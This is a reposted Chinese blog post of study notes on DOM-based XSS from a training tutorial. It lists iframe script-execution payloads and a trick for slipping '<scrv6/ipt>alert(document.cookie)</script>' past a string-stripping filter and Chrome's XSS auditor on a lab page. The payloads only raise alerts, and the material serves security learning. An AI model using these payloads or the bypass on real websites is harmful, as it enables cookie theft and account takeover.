DomXSS以及绕过浏览器检测机制方法总结

来源:互联网 发布:UC浏览器mini java版 编辑:程序博客网 时间:2024/06/08 12:17

今天继续研究了一下PKAV“心伤的瘦子”的XSS系列教程,收获挺大的,这里主要记录下来,以备忘记!
下面是这个系列教程的截图,可以在这里看到,当让,每一个知识知识点,都可以在这里(传送门)得到复现。作为程序员,会让你意思到自己以前的编码方式中有诸多的不足,作为安全研究者,深深地感觉到,原来还可以这么玩….

这里写图片描述

昨天的知识点忘记整理了,先吧今天的写上,以后再补:
**

DOM_XSS之iframe标签的变化

1.1 最好懂的,onload执行js

<iframe onload="alert(1)"></iframe>

1.2 src 执行javascript代码

<iframe src="javascript:alert(1)"></iframe>

1.3 IE下vbscript执行代码

<iframe src="vbscript:msgbox(1)"></iframe>

1.4 Chrome下data协议执行代码

<iframe src="data:text/html,<script>alert(1)</script>"></iframe> Chrome

1.5 上面的变体

<iframe src="data:text/html,&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>

1.6 Chrome下srcdoc属性

<iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>

**
XSS过滤器绕过

2.1 猥琐绕过浏览器拦截

因为有些浏览器会自动检测请求中的恶意代码,导致一些代码在这些浏览器中不能执行,下面是chrom浏览器的一个例子:

实例:http://xss.pkav.net/xss/ext/18.htm#siDomain=1&g_StyleID=2

这里写图片描述

这里我们可以看到

g_StyleID = paras['g_StyleID'].replace("v6/","");

函数把g_StyleID 参数中的v6/替换成了空,所以构造代码我们写成这样的:

<scrv6/ipt>alert(document.cookie)</script>

chrome并不会把

<scrv6/ipt>alert(document.cookie)</script>

当作恶意的代码

组合之后的代码:

http://xss.pkav.net/xss/ext/18.htm#siDomain=1&g_StyleID="><scrv6/ipt>alert(document.cookie)</script>

这样就可以绕过浏览器自身的过滤了


0 0
原创粉丝点击